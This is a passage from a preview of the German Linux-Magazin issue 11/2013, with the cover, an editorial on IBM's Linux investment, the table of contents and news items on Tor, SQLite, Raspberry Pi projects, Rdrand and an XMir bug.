Linux-Magazin Reifeprüfung fürs Web (Vorschau)
11/13 DIE ZEITSCHRIFT FÜR LINUX-PROFESSIONALS Linux-Wissen: Audio Video Bridging Neues Netzwerkprotokoll für Tonstudios, Veranstalter und das Heimkino S. 88 Open Nebula Hook sei Dank: Eigene Skripte einklinken in die freie Virtualisierung S. 74 SDL-Lib 2.0 Eine Bibliothek für fünf Betriebssysteme: Simple Directmedia Layer S. 94 Reifeprüfung fürs Web Vier Frameworks und CMS erhalten die gleiche Programmieraufgabe gestellt ■ PHP-Kandidat: Contao CMS S. 22 ■ Java-Kandidat: Magnolia CMS S. 28 ■ Ruby-Framework: Rails mit Angular.js S. 34 ■ Python-Framework: Django S. 39 ■ Prüfungsauswertung S. 46 ■ BSI-Studie untersucht CMS- Sicherheit S. 48 ■ Drei XML-Editoren im TEI-und Docbook-Test S. 52 ■ Volatility auf Spurensuche im RAM von Linux-Rechnern S. 68 Die Storagesoftware Git-Annex synchronisiert Daten über Geräte, Server und Clouddienste hinweg S. 58 www.linux-magazin.de Deutschland Österreich Schweiz Benelux Spanien Italien 4 6,40 4 7,05 sfr 12,80 4 7,50 4 8,30 4 8,30 4 192587 306401 11
- Seite 3 und 4: 1 000 000 000 Login 11/2013 Editori
- Seite 5 und 6: 11/2013 11/2013 Inhalt 64 Erlösend
- Seite 7 und 8: SQlite 3.8.0 optimiert Performance
- Seite 9 und 10: Debconf 13: Videos der Vorträge un
- Seite 12 und 13: Aktuell www.linux-magazin.de Zahlen
- Seite 14 und 15: Aktuell www.linux-magazin.de Zahlen
- Seite 16 und 17: Aktuell www.linux-magazin.de Zahlen
- Seite 18 und 19: Aktuell www.linux-magazin.de Kernel
- Seite 20 und 21: Aktuell www.linux-magazin.de OER-Ko
- Seite 22 und 23: Titelthema www.linux-magazin.de Con
- Seite 24 und 25: Listing 1: »ModuleLinuxMagazin«-K
- Seite 26: Titelthema www.linux-magazin.de Con
- Seite 29 und 30: XML oder HTML zu erzeugen. Damit st
- Seite 31 und 32: tributs und der Methode »getLocati
- Seite 34 und 35: Titelthema www.linux-magazin.de Rub
- Seite 36 und 37: Titelthema www.linux-magazin.de Rub
- Seite 38 und 39: Titelthema www.linux-magazin.de Rub
- Seite 40 und 41: Titelthema www.linux-magazin.de Dja
- Seite 42 und 43: Titelthema www.linux-magazin.de Dja
- Seite 46: Titelthema www.linux-magazin.de Bew
- Seite 49 und 50: © Quelle: Sicherheitsstudie CMS In
- Seite 51 und 52: In eigener Sache: DELUG-DVD Privats
11/13<br />
DIE ZEITSCHRIFT FÜR LINUX-PROFESSIONALS<br />
<strong>Linux</strong>-Wissen:<br />
Audio Video Bridging<br />
Neues Netzwerkprotokoll für Tonstudios,<br />
Veranstalter und das Heimkino S. 88<br />
Open Nebula<br />
Hook sei Dank: Eigene<br />
Skripte einklinken in die<br />
freie Virtualisierung S. 74<br />
SDL-Lib 2.0<br />
Eine Bibliothek für fünf<br />
Betriebssysteme: Simple<br />
Directmedia Layer S. 94<br />
<strong>Reifeprüfung</strong> <strong>fürs</strong> <strong>Web</strong><br />
Vier Frameworks und CMS erhalten die<br />
gleiche Programmieraufgabe gestellt<br />
■ PHP-Kandidat: Contao CMS S. 22<br />
■ Java-Kandidat: Magnolia CMS S. 28<br />
■ Ruby-Framework: Rails mit Angular.js S. 34<br />
■ Python-Framework: Django S. 39<br />
■ Prüfungsauswertung S. 46<br />
■ BSI-Studie untersucht CMS-<br />
Sicherheit S. 48<br />
■ Drei XML-Editoren im TEI-und Docbook-Test S. 52<br />
■ Volatility auf Spurensuche im RAM von <strong>Linux</strong>-Rechnern S. 68<br />
Die Storagesoftware Git-Annex synchronisiert Daten über Geräte, Server und Clouddienste hinweg S. 58<br />
www.linux-magazin.de<br />
Deutschland Österreich Schweiz Benelux Spanien Italien<br />
4 6,40 4 7,05 sfr 12,80 4 7,50 4 8,30 4 8,30<br />
4 192587 306401 11
1 000 000 000<br />
Login 11/2013<br />
Editorial<br />
Mindestens für <strong>Linux</strong>er bildet „Eine Milliarde US-Dollar“ die Zahl des Tages.<br />
Zugleich ist das, zumindest für Leute, die weder Apple noch Microsoft mitgegründet<br />
haben, unfassbar viel Geld. Würde beispielsweise ein Bauer diesen<br />
Betrag in 100-Dollar-Noten abheben, könnte er ziemlich genau zehn Hektar<br />
Acker damit nahtlos auslegen. Als antikapitalistische Kunstinstallation wäre<br />
das sicher hübsch anzusehen, aber schon der erste Herbstwind würde den<br />
fragilen Charakter der Sache deutlich machen.<br />
www.linux-magazin.de<br />
3<br />
Der Bauer könnte das Geld aber auch ausgeben. Dass dem Leitartikel-Schreiber<br />
dabei 100 Millionen Delug-Ausgaben vom <strong>Linux</strong>-<strong>Magazin</strong> einfallen, sei ihm<br />
bitte verziehen. Alternativ käme Linus Torvalds einige wenige Tausend Jahre<br />
über die Runden, was dem <strong>Linux</strong>-Kernel im gleichen Maße zuträglich wäre wie<br />
der Laune mancher Kernel-Mailinglisten-Diskutanten abträglich.<br />
Jan Kleinert, Chefredakteur<br />
Oder aber, man gibt den Betrag nicht sofort aus und benutzt die Zahl nur für<br />
Vergleiche. Rund eine Milliarde Dollar ist der Jahresumsatz von Red Hat oder ein Hundertstel des Umsatzes<br />
von IBM. Umgerechnet eine Milliarde Dollar nimmt der deutsche Fiskus jährlich durch die Biersteuer ein, was<br />
im zeitlichen und örtlichen Umfeld des Münchner Oktoberfestes einigermaßen Sinn ergibt.<br />
Um ganz nüchtern auf den Grund der Greenback-Akrobatik hier zu kommen: IBM kündigte gerade auf der<br />
<strong>Linux</strong>con 2013 in New Orleans an, eine Milliarde US-Dollar für neue <strong>Linux</strong>- und Open-Source-Technologien<br />
für Power-Systems-Server auszugeben. Konkret will der Konzern ein neues Kundenzentrum im französischen<br />
Montpellier investieren und eine <strong>Linux</strong>-Power-Entwicklungsumgebung in der Cloud entwickeln, um<br />
der „schnell wachsenden Entwicklergemeinde mit mehreren Tausend ISVs und Open-Source-Projekten<br />
Rechnung zu tragen“.<br />
Das neue Kundenzentrum und auch die geplante Entwicklungsumgebung sollen es Software-Entwicklern<br />
erleichtern, offene <strong>Linux</strong>-Anwendungen für Big Data, Cloud, Mobile und Social Business auf Power-7-Prozessoren<br />
zu schreiben und bereitzustellen. Die Gelder fließen sowohl in Forschung, Design und Entwicklung<br />
als auch für Schulungen, Veranstaltungen und in Markteinführungs- und Förderprogramme für Kunden,<br />
Geschäfts- und Hochschulpartner.<br />
Seltsamerweise erzeugte IBMs Ankündigung nur wenig Echo in den Medien – vielleicht, weil es schon das<br />
zweite seiner Art ist. Ende 2000 hatte der Konzern begonnen, die gleiche Summe für <strong>Linux</strong>-nahe Entwicklungen<br />
zu investieren, und gründete zu diesem Zweck sogar eine interne Kompanie. IBM-Entwickler steuern<br />
seither Code für diverse Open-Source-Projekte bei, besonders am Herzen liegen der Firma Open Power, Open<br />
Stack, Hadoop, Open Daylight, KVM, Apache und Eclipse.<br />
Das explizite Pushen der Power-7-Plattform jetzt ist sicher eine streng strategische Entscheidung, um diese<br />
Maschinen softwaretechnisch attraktiver zu machen. Ob eine Milliarde US-Dollar dafür angemessen sind,<br />
ist schwer zu sagen. Um es mal wieder zu vergleichen: Der »arch/powerpc«-Quellcode-Zweig des aktuellen<br />
Kernels 3.11.1 ist mit Mann und Maus rund 11,5 MByte groß. Wenn Big Blue nur ihn bedächte, stünden künftig<br />
für die Weiterentwicklung jedes Quellcode-Bits zehn Dollar bereit. Dafür lässt sich mancherorts ein Bit-Bier<br />
bestellen, was wiederum den Fiskus freut.
Inhalt<br />
www.linux-magazin.de 11/2013 11/2013<br />
4<br />
Die <strong>Reifeprüfung</strong> <strong>fürs</strong> <strong>Web</strong>: Das <strong>Linux</strong>-<strong>Magazin</strong> lässt vier freie Content Management Systeme<br />
und <strong>Web</strong>frameworks antreten. Programmierprofis der Projekte zeigen, wie sie einen Veranstaltungskalender<br />
auf Grundlage externer Daten umsetzen. Das Herangehen und der Aufwand<br />
fallen sehr unterschiedlich aus, ein Projekt hielt die Aufgabe anfangs für nicht lösbar.<br />
Aktuell<br />
Titelthema: Erweiterungsfähigkeiten von Frameworks und CMS<br />
6 N ew s<br />
n Tor kämpft mit Botnet-Ansturm<br />
n Wetterstation für Raspberry Pi<br />
n Linus: Kein NSA-Code im Kernel!<br />
21 Einführung<br />
Titel<br />
Statt langer Feature-Listen: ein praktisches<br />
Beispiel.<br />
22 Contao<br />
Nur für den Experten einfach: Contao-<br />
Module schnell und sicher entwickeln.<br />
39 Django<br />
Zwar ist die Aufgabe für das das Python-<br />
CMS-Framework Django nicht wirklich<br />
maß geschneidert, aber machbar.<br />
Das <strong>Web</strong>-basierte ERP-System Open Z kann<br />
jetzt mit MES-Funktionen aufwarten.<br />
28 Magnolia<br />
Das Java-CMS bringt Entwickler rasch<br />
ans Ziel.<br />
Die vom Autor genutzte IDE heißt Pycharm, im<br />
Bild zu sehen ist die Datei »views.py«.<br />
12 Zahlen & Trends<br />
n Libre Office 4.2 verbessert OOXML<br />
n Neuseeland schafft Softwarepatente ab<br />
46 Wertung<br />
Viele Wege führen zur fertigen <strong>Web</strong>site,<br />
doch mit unterschiedlichem Aufwand.<br />
Ein blühender Magnolia-Baum im Eigenbau.<br />
34 Ruby on Rails<br />
Das Framework im Verbund mit Angular.js.<br />
48 Das Interview<br />
Eine BSI-Studie zur CMS-Sicherheit vergleicht<br />
Open-Source-Systeme..<br />
VMware-CEO Pat Gelsinger feiert sich und<br />
seine Firma und glaubt an eine rosige Zukunft.<br />
18 Zacks Kernel-News<br />
n Wann ist ein Patch reif für den Kernel?<br />
n Mehr Ordnung im Device Tree<br />
20 Wikimedia OER Berlin<br />
Die Konferenz um freies Wissen.<br />
Erstmals trafen sich deutsche OER-Akteure.<br />
Karma prüft Javascript in mehreren Browsern.<br />
DELUG-DVD<br />
Privacy Remix<br />
TOOL<br />
Bootet von DVD: Paranoides<br />
Ubuntu-12.04-Derivat für die Zeit<br />
nach Ed Snowden<br />
Virtual Appliance<br />
TOOL<br />
TOOL<br />
TOOL<br />
Fertiges Django-Framework mit<br />
objekt relationalen Mapper für<br />
MySQL, Oracle, PostgreSQL, SQlite<br />
TOOL<br />
Christian Breitenstrom, Autor der CMS-Studie.<br />
Details zu DVD-<br />
TOOL<br />
Inhalten auf S. 51<br />
E-Book komplett<br />
Christian Ullenboom:<br />
„Java 7 – Mehr als eine Insel“<br />
Debconf 2013<br />
Videos: Prominente Debian-Freunde<br />
beim Entwicklertreffen<br />
Software-Suite<br />
Passend zu den Artikeln im Heft
11/2013 11/2013<br />
Inhalt<br />
64 Erlösende Einsamkeit<br />
Manche kritischen Daten sollten Admins<br />
nur auf Inselsystemen ohne Netzwerk<br />
vorhalten. Für solche Hochsicherheitszonen<br />
taugt das Ubuntu Privacy Remix.<br />
74 Action am Haken<br />
Shellprogramme per Mausklick in die<br />
Cloud-Verwaltung integrieren? Kein<br />
Problem, wenn Open-Nebula-Hooks<br />
zum Einsatz kommen.<br />
84 Auferstanden<br />
Kompatibel zur ICANN, aber vollständig<br />
unabhängig und nur der Community<br />
unterstellt will die eigentlich schon<br />
beerdigte DNS-Alternative sein.<br />
www.linux-magazin.de<br />
5<br />
Software<br />
Sysadmin<br />
Know-how<br />
51<br />
Einführung<br />
Auf der DELUG-DVD: Totale Privatspäre<br />
mit dem Ubuntu Privacy Remix, Debconf-<br />
Videos und ein Java-E-Book.<br />
52 Bitparade<br />
Titel<br />
Strukturiertes Arbeiten: Drei XML-<br />
Editoren treten gegeneinander an.<br />
67 Einführung<br />
Aus dem Alltag eines Sysadmin: Charly<br />
und sein Indianer, dazu Salat oder Steak<br />
und der Varnish-Proxy als Lösung.<br />
68 Volatility 2.3<br />
Titel<br />
Der Memory-Dump-Analyzer Volatility<br />
inspiziert jetzt auch <strong>Linux</strong>-Systeme.<br />
84 Open Root Server Network<br />
Auch ohne die USA: Das ORSN will ein<br />
Gegengewicht zur ICANN schaffen.<br />
88 <strong>Linux</strong>-AVB<br />
Titel<br />
Als Multimedia-Brücke überträgt Audio<br />
Video Bridging Multimediadaten in<br />
Echtzeit an andere Rechner.<br />
58 Git-Annex<br />
Titel<br />
Programmiert in Haskell, nutzt Git-Annex<br />
Tools wie Inotify und ein <strong>Web</strong>interface,<br />
um verteilte Dateien zu synchronisieren.<br />
Das Volatility-Tool Yarascan hat eine gespawnte<br />
Shell gefunden, in der Netcat läuft.<br />
74 Open-Nebula-Skripting<br />
Titel<br />
Virtuelle Maschinen am rechten Haken:<br />
Open Nebula mit Hooks erweitern.<br />
Wireshark findet im Netzwerkverkehr die<br />
Nachrichten des AVB-Protokolls MRP.<br />
92 Insecurity Bulletin<br />
Fehlerhaft generierte Zufallszahlen in<br />
Android sorgen für Unsicherheit.<br />
Der Assistant merkt, wenn neue Dateien da<br />
sind und startet die Synchronisation.<br />
60 Tooltipps<br />
Im Kurztest: Macchanger 1.6.0, Codesh<br />
2.0.1, Enc 0.2, Arp Scan 1.9, Cyberprobe<br />
0.20 und, Palaver (August 2013).<br />
Forum<br />
78 OSS in Europa<br />
Europas Behörden vertrauen auf Open<br />
Source. Deutschland scheint abgehängt.<br />
Programmieren<br />
94 SDL 2.0<br />
Titel<br />
Für gleich fünf Systeme passend präsentiert<br />
sich das Simple Directmedia Layer.<br />
64 Ubuntu Privacy Remix<br />
Ein radikales OS für Sicherheitsbewusste.<br />
Service<br />
3 Editorial<br />
106 IT-Profimarkt<br />
108 Stellen<br />
112 Veranstaltungen<br />
112 Inserenten<br />
113 Impressum<br />
114 <strong>Vorschau</strong><br />
Jedes Jahr 10 000 Rechner migriert die französischen<br />
Gendarmerie zu Gendubuntu.<br />
82 Bücher<br />
Bücher über Shellprogrammierung<br />
sowie über C++.<br />
Auf SDL basieren fast alle über Steam angebotenen<br />
Spiele, auch Blockbuster wie Portal.<br />
100 Perl-Snapshot<br />
Nicht nur für die Katz: Maschinell mit<br />
Perl-Skripten erzeugte Memes.
Aktuell<br />
www.linux-magazin.de News 11/2013<br />
6<br />
News<br />
Tor kämpft mit Botnet-Ansturm<br />
Um den 20. August herum verzeichnete<br />
das Tor-Netzwerk eine<br />
außergewöhnliche Zunahme<br />
an neuen Nutzern, ihre<br />
Zahl stieg von 500 000 auf 3,5<br />
Millionen (Stand: 12.9.2013).<br />
Doch nicht die internationalen<br />
Geheimdienste treiben<br />
Tor neue User zu, vielmehr<br />
scheint ein riesiges Botnetz<br />
Schuld zu sein, das legt Roger<br />
Dingledine in einem Blogbeitrag<br />
[https://blog.torproject.org/<br />
blog/] nahe.<br />
Er könne nur über die Ursachen<br />
spekulieren, da das<br />
Tor-Projekt keine Logs behalte.<br />
Neue Aktivisten oder den<br />
Tor-Browser von The Pirate<br />
Bay schließe er als Quelle für<br />
die Invasion aber aus. Er gehe<br />
von einem Botnetz aus, das<br />
seinen Kontrollserver als Hidden<br />
Service betreibe.<br />
Es sei auffällig, dass der von<br />
den neuen Usern generierte<br />
Traffic keine externen <strong>Web</strong>seiten<br />
betreffe. Während Relays<br />
einen starken Anstieg von<br />
»ESTABLISH_RENDEZVOUS«-<br />
Request verzeichnen, würden<br />
die Exit-Nodes keine signifikanten<br />
Zusatz-Traffic zeigen.<br />
Dingledine ist zufrieden, dass<br />
das Tor-Netzwerk auch unter<br />
Druck noch funktioniere, Probleme<br />
würden aber die vielen<br />
vom Botnetz aufgebauten<br />
Routen (Circuits) bereiten.<br />
Um sie zu etablieren, nehmen<br />
die Relay-Server umfangreiche<br />
Public-Key-Operationen<br />
vor, was die CPU-Load auf die<br />
Spitze treibe.<br />
Das vermeintliche Botnet<br />
nutzt die stabilen Tor-Clients<br />
in der Version 0.2.3.x. Dingledine<br />
empfiehlt neuen Nutzern<br />
den Umstieg auf Version<br />
0.2.4, die beim Aufbau der<br />
Circuits den smarten N-Tor-<br />
Handshake verwendet anstelle<br />
des älteren Tap. Die neueste<br />
Entwicklerversion 0.2.4.17-rc<br />
priorisiere N-Tor sogar, weshalb<br />
sich ihre Nutzer in der<br />
Warteschlange vordrängeln<br />
dürfen, Pakete dieser Version<br />
gibt es bereits.<br />
Mittlerweile ist die Zahl der Tor-Clients bei 3,5 Millionen angekommen.<br />
Wechselt auch das Botnet zu<br />
den neuen Clients, wäre das<br />
Tor-Netzwerk dennoch besser<br />
dran, weil es besser skaliere.<br />
Den Botnet-Entwicklern<br />
empfahl er, für ihre Millionen<br />
von Clients nicht die 4000<br />
Tor-Knoten, sondern lieber<br />
ein eigenes P2P-Anonymisierungssystem<br />
zu verwenden.<br />
Bösartig scheine das Botnet<br />
aber bisher nicht zu sein, gibt<br />
er zu. Wollte es das Netzwerk<br />
„ruinieren“, würde es mit<br />
den Bots einfach viel Traffic<br />
erzeugen.<br />
Langfristig müsse man aber<br />
nach weiteren Lösungen für<br />
solche Situationen suchen.<br />
Wenn nötig werde man auch<br />
alle 0.2.3-Clients aus dem<br />
Netzwerk verbannen. Dingledine<br />
rief zugleich Security-<br />
Forscher dazu auf, die Eigenschaften<br />
des Botnetzes zu<br />
ergründen, um es nach Möglichkeit<br />
abzuschalten.<br />
Die Security-Firma Fox IT geht<br />
davon aus, dass das Botnet<br />
erst in jüngster Zeit unter dem<br />
Namen „Mevade.A“ auftrete,<br />
aber bereits seit 2009 existiere<br />
und früher „Sefnit“ hieß.<br />
Es habe seinen Kontrollserver<br />
erst kürzlich in das Tor-Netzwerk<br />
verlegt, was mit dem<br />
Anstieg von Clients korreliere.<br />
Laut Fox IT stamme es aus<br />
einer russischsprachigen Region<br />
und sei profitorientiert.<br />
Tor-Projektmitarbeiter haben<br />
diese Annahme bisher nicht<br />
offiziell bestätigt.<br />
n<br />
Typo-3-Camp Regensburg im Oktober<br />
Vom 25. bis 27. Oktober 2013<br />
findet das zweite Typo-3-<br />
Camp Regensburg [http://www.<br />
typo3camp‐regensburg.de] statt.<br />
Unter dem Motto „Inspiring<br />
People to Share“ trifft sich<br />
die deutschsprachige Typo-3-<br />
Community zum Informationsaustausch.<br />
Die Veranstaltung findet als<br />
Barcamp statt, bei dem die<br />
Teilnehmer mit Hilfe der <strong>Web</strong>site<br />
selbstständig Sitzungen<br />
zu den gewünschten Themen<br />
organisieren. Die Typo 3 Usergroup<br />
Regensburg e.V. und ihre<br />
Mitveranstalter rechnen mit<br />
mehr als 100 Teilnehmern.<br />
Ein reguläres Ticket für das<br />
Camp kostet 49 Euro, ein Unterstützerticket<br />
79 Euro. In<br />
beiden Fällen kommt noch eine<br />
Vorverkaufsgebühr für den<br />
Ticketdienst hinzu. n
SQlite 3.8.0 optimiert Performance<br />
SQlite 3.8.0 [https://sqlite.org]<br />
ist erschienen und bringt einige<br />
Neuerungen mit, die die<br />
Arbeit mit der Datenbank optimieren.<br />
So erlauben es partielle<br />
Indexe, nur bestimmte<br />
Teile einer Tabelle zu indexieren,<br />
und beschleunigen so in<br />
großen Tabellen den Zugriff<br />
auf bestimmte Daten. Dabei<br />
wird an das Statement »CREA-<br />
TE INDEX« ein »WHERE«-Teil<br />
gehängt, der die zu indizierende<br />
Untergruppe bestimmt.<br />
Der Next Generation Query<br />
Planner (NGQP) soll besonders<br />
beim Zugriff auf große<br />
Datenmengen aus vielen Möglichkeiten<br />
den effektivsten<br />
Algorithmus ermitteln. Das<br />
erweist sich bisweilen als Wissenschaft<br />
für sich [https://sqlite.<br />
org/queryplanner‐ng.html].<br />
Der neue Planner soll besser<br />
und schneller arbeiten und<br />
zum Beispiel das Problem des<br />
8-Wege-Join von TPC-H Q8<br />
deutlich eleganter lösen als<br />
bisher, nämlich über die N3-<br />
Heuristic (N Nearest Neighbors).<br />
Bei TPC-H handelt es<br />
sich um den Benchmark des<br />
Transaction Processing Performance<br />
Council, eines Non-<br />
Profit-Konsortiums.<br />
Spezielle Tabellen mit integrierter<br />
Volltextindexierung<br />
erlauben es, Text wesentlich<br />
schneller zu durchforsten, als<br />
wenn der Datenbanker ihn<br />
wie bisher einfach in klassischen<br />
Tabellen ablegt.<br />
Das virtuelle Tabellenmodul<br />
FTS 4 (für Full-text Search)<br />
erlaubt es nun, für Tabellen<br />
bestimmte Spalten zu definieren,<br />
welche die Volltextsuche<br />
nicht indexieren soll, was<br />
den Prozess beschleunigt.<br />
Der Quelltext findet sich im<br />
Downloadbereich [https://<br />
sqlite.org/download.html]. n<br />
News 11/2013<br />
Aktuell<br />
www.linux-magazin.de<br />
7<br />
Air Pi: Wetterstation für den Raspberry Pi<br />
Für umgerechnet rund 79 Euro<br />
inklusive Versandkosten verkaufen<br />
britische Schüler einen<br />
Bausatz, der sich in eine Wetterstation<br />
für den Raspberry Pi<br />
verwandeln lässt. In dem Air<br />
Pi [http://airpi.es] genannten<br />
Projekt haben Alyssa Dayan<br />
und Tom Hartley, zwei Schüler<br />
der Westminster School in<br />
London, eine eigene Wetterstation<br />
für den Raspberry Pi<br />
entwickelt. Damit nahmen sie<br />
an einem Erfinderwettbewerb<br />
namens „PA Consulting Raspberry<br />
Pi Competition“ teil und<br />
gewannen.<br />
Der Bausatz für die Wetterstation<br />
lässt sich nun online bestellen<br />
und nach Deutschland<br />
liefern, wo man ihn dann mit<br />
Hilfe einer Anleitung zusammenlöten<br />
kann. Ein Raspberry<br />
Pi ist im Preis nicht enthalten,<br />
es handelt sich um eine separate<br />
Zusatzplatine.<br />
Quelle: http://airpi.es<br />
Beim Air Pi handelt es sich um den Bausatz für eine Wetterstation, die sich als<br />
Zusatzmodul an einen Raspberry Pi hängen lässt.<br />
Der Air Pi zeichnet Wetterdaten<br />
auf und streamt sie ins<br />
Internet. Zu den gesammelten<br />
Daten gehören neben der Temperatur<br />
die Luftfeuchtigkeit,<br />
der Luftdruck, der UV-, Kohlenstoffmonoxid-,<br />
Stickstoffdioxid-<br />
und Helligkeits-Level.<br />
Der Air Pi lässt sich nicht nur<br />
als Wetterstation verwenden,<br />
sondern auch im Haus einsetzen,<br />
um die Feuchtigkeit zu<br />
messen oder nachzuschauen,<br />
ob die Kids das Licht ausgeschaltet<br />
haben.<br />
Der zugehörige Code und<br />
die Schaltpläne stehen schon<br />
auf Github [http://github.com/<br />
tomhartley/AirPi] bereit. Lediglich<br />
ein GPS-Modul fehlt,<br />
weil das Kit sonst zu teuer<br />
geworden wäre. Ab Oktober<br />
will man die Bausätze ausliefern,<br />
die über Tindie, eine<br />
Plattform für Hardwarebastler,<br />
vertrieben werden. n<br />
Neues Open-Suse-Image für Raspberry Pi<br />
Der Suse-Entwickler Bernhard<br />
Wiedemann hat ein neues <strong>Linux</strong>-Image<br />
für den Minicomputer<br />
Raspberry Pi auf Basis<br />
von Open Suse veröffentlicht.<br />
Das komprimierte Image für<br />
Armv6, das als XZ-Archiv vorliegt,<br />
ist nur rund 82 MByte<br />
groß. Dennoch enthält es unter<br />
»/home/abuild/rpmbuild/<br />
SOURCES/« die Shellskripte,<br />
mit denen der Anwender ein<br />
eigenes, maßgeschneidertes<br />
Image bauen kann. Diese<br />
Skripte sind außerdem gesondert<br />
erhältlich.<br />
Das ARM-Image bringt nun<br />
auch den recht aktuellen<br />
Kernel 3.6 sowie den Windowmanager<br />
Icewm mit. Es<br />
lässt sich auch recht einfach<br />
in der Größe anpassen. Ein<br />
neues Image lässt sich laut<br />
Wiedemann in etwa 3 Minuten<br />
erzeugen. Zudem stehen<br />
auf dem Open Build Service<br />
rund 5200 Softwarepakete für<br />
ARM zur Installation bereit.<br />
Blogeinträge von Bernhard<br />
Wiedemann und Jos Poortvliet<br />
enthalten Hinweise zum Bauen<br />
eines eigenen Image. n
Aktuell<br />
www.linux-magazin.de News 11/2013<br />
8<br />
Ubuntu-Edge-Kampagne verfehlt Ziel<br />
Mit den zugesagten 12,8 Millionen<br />
US-Dollar erreichte die<br />
Crowdfunding-Kampagne für<br />
das Ubuntu Edge nur ein gutes<br />
Drittel der anvisierten Gesamtsumme<br />
von 32 Millionen<br />
US-Dollar. Doch stellte Canonical<br />
zumindest zwei Rekorde<br />
für Crowdfunding-Plattformen<br />
auf: Neben der höchsten jemals<br />
angestrebten Summe<br />
setzte auch der zugesagte Betrag<br />
eine Rekordmarke.<br />
Dennoch: Findet sich kein<br />
Hardwarehersteller, der das<br />
Edge auf eigenes Risiko finanziert,<br />
ist das Projekt wohl gestorben.<br />
Canonical setzt nun<br />
voll auf das Ubuntu Phone,<br />
hat dafür aber noch keinen<br />
Hersteller angekündigt. Fortgeschrittene<br />
Nutzer können<br />
Ubuntu Touch, das Betriebssystem<br />
für Smartphones, jedoch<br />
selbst auf vielen aktuellen<br />
Geräten installieren. n<br />
Rekordverdächtig, aber Ziel verfehlt: Die Crowdfunding-Kampagne für das<br />
Ubuntu Edge auf Indiegogo erreichte nicht die anvisierten 32 Millionen Dollar.<br />
NSA-Code im Kernel? Linus sagt: Nope!<br />
Auch Linus Torvalds spürt<br />
mittlerweile die Auswirkungen<br />
der NSA-Affäre. Weil<br />
die Dokumente von Edward<br />
Snowden nahelegen, dass die<br />
NSA gezielt Bugs in Verschlüsselungs-Software<br />
und ‐Hardware<br />
einbaute, sehen einige<br />
User und Kryptographie-Experten<br />
nun etwas kritischer<br />
auf Algorithmen zur Erzeugung<br />
von Zufall (RNG, Random<br />
Number Generators), etwa<br />
auf der Cryptography-Mailingliste.<br />
So auch Kyle Condon<br />
aus Großbritannien, der bei<br />
Change.org eine Petition einreichte,<br />
um die Unterstützung<br />
von Rdrand aus dem Kernel<br />
entfernen zu lassen.<br />
Bei Rdrand handelt es sich<br />
um eine Instruktion für Ivy-<br />
Bridge-Prozessoren, die einen<br />
Hardware-generierten<br />
Zufallswert zurückliefert. Der<br />
Zufallsgenerator ist laut Intel<br />
konform mit den Standards<br />
NIST SP800-90, FIPS 140-2<br />
und ANSI X9.82. Der Vorwurf<br />
lautet, dass Intel absichtlich<br />
oder unabsichtlich die NSA<br />
mit ins Boot geholt habe, weil<br />
NIST SP800-90 vermutlich eine<br />
Backdoor enthalte.<br />
Dual_EC_DRBG, einer der<br />
vier Algorithmen, die NIST<br />
SP800-90 beschreibt, basiert<br />
demnach auf Elliptic Curve<br />
Cryptography und sei dreimal<br />
langsamer als die anderen<br />
Ansätze. 2007 hatte Kryptoexperte<br />
Bruce Schneier bei<br />
der Crypto-Konferenz auf die<br />
Arbeit von Dan Shumow und<br />
Niels Ferguson hingewiesen,<br />
die zeigten, dass der Algorithmus<br />
Schwächen aufweise, die<br />
sie durchaus als Backdoors<br />
bezeichnen würden.<br />
Linus antwortete indes gewohnt<br />
charmant auf die Vorwürfe:<br />
„Wo starte ich eine<br />
Petition, um den IQ und das<br />
Kernel-Wissen der Leute zu<br />
steigern?“ Rdrand sei eben<br />
nur eine Quelle im Kernel für<br />
die Zufallserzeugung. Selbst<br />
wenn die Nummern nicht<br />
ganz zufällig seien, weil die<br />
NSA mitwirke, führe die Einbindung<br />
von Rdrand zu einer<br />
höheren Entropie. „Leute,<br />
schaut euch »drivers/char/<br />
random.c« an. Lernt mehr<br />
über Kryptographie. Schließlich:<br />
Kommt hierher zurück<br />
und gebt vor aller Welt zu,<br />
dass ihr Unrecht hattet.“ n<br />
XMir-Bug verrät Passwörter<br />
Der Entwickler Matthew Garrett<br />
warnt vor einer Sicherheitslücke<br />
in XMir, einer<br />
Komponente von Ubuntus<br />
Dis playserver Mir. Den möchte<br />
Canonical in der kommenden<br />
Ubuntu-Version 13.10<br />
als Standard-Displayserver<br />
einsetzen. Damit die Mehrheit<br />
der GUI-Anwendungen,<br />
die als X-Clients programmiert<br />
sind, noch funktioniert,<br />
kommt XMir als Adapter zum<br />
Zuge. Es verwendet X-Input-<br />
Treiber, um Eingaben direkt<br />
zu empfangen.<br />
Das sorgt für den kritisierten<br />
Bug: Schaltet der Anwender<br />
auf eine virtuelle Konsole um,<br />
etwa mit [Strg]+[Alt]+[F1],<br />
um sich dort einzuloggen, und<br />
kehrt wieder zum Mir-Display<br />
zurück, werden in XMir Username<br />
und Passwort sichtbar.<br />
Eine so genannte Information<br />
Disclosure, die vertrauliche<br />
Daten an jene verrät, die das<br />
Display sehen können.<br />
Laut Matthew Garrett [http://<br />
mjg59.dreamwidth.org/27327.html]<br />
ist der Bug schon seit dem<br />
20. Juni bekannt. Er kritisiert,<br />
das Paket sei samt Fehler in<br />
die Saucy-Repositories umgezogen.<br />
Die Warnung stehe in<br />
der zugehörigen Mitteilung<br />
nur unter ferner liefen.<br />
Ubuntu 13.10 befindet sich<br />
noch im Entwicklungsstadium<br />
und ist vom Hersteller nicht<br />
für den Produktiveinsatz empfohlen.<br />
Somit sind von diesem<br />
Bug bislang nur Entwickler<br />
und Tester betroffen. n
Debconf 13: Videos der Vorträge und Sitzungen online<br />
Nach der Debian-Entwicklerkonferenz<br />
[http://debconf13.<br />
debconf.org] in der Schweiz stehen<br />
die Vorträge nun online<br />
als Videos zur Verfügung. Das<br />
Videoteam der freien <strong>Linux</strong>-<br />
Distribution bietet die Aufzeichnungen<br />
in unterschiedlichen<br />
Auflösungen als Dateien<br />
zum Herunterladen an. Wer<br />
sich die Vortragsvideos lieber<br />
online ansehen möchte,<br />
besucht die Seiten der französischen<br />
Open-Source-Einrichtung<br />
IRILL [http://www.irill.<br />
org]. Dort lassen sie sich als<br />
HTML-5-Videos in modernen<br />
Browsern abspielen.<br />
Unter anderem hält das Video-Archiv<br />
Vorträge über die<br />
Init-Systeme Systemd und Upstart<br />
parat, die Keynote des<br />
Debian-Projektleiters Lucas<br />
Nussbaum sowie Referate<br />
über den Kernel, das Compiler-Frontend<br />
Clang und UEFI<br />
Secure Boot. In den Birds-ofa-Feather-Sitzungen<br />
trafen<br />
sich Gleichgesinnte, um über<br />
Ruby, Debian-Derivate, Ikiwiki<br />
oder ARM zu diskutieren.<br />
Weitere Highlights sind die<br />
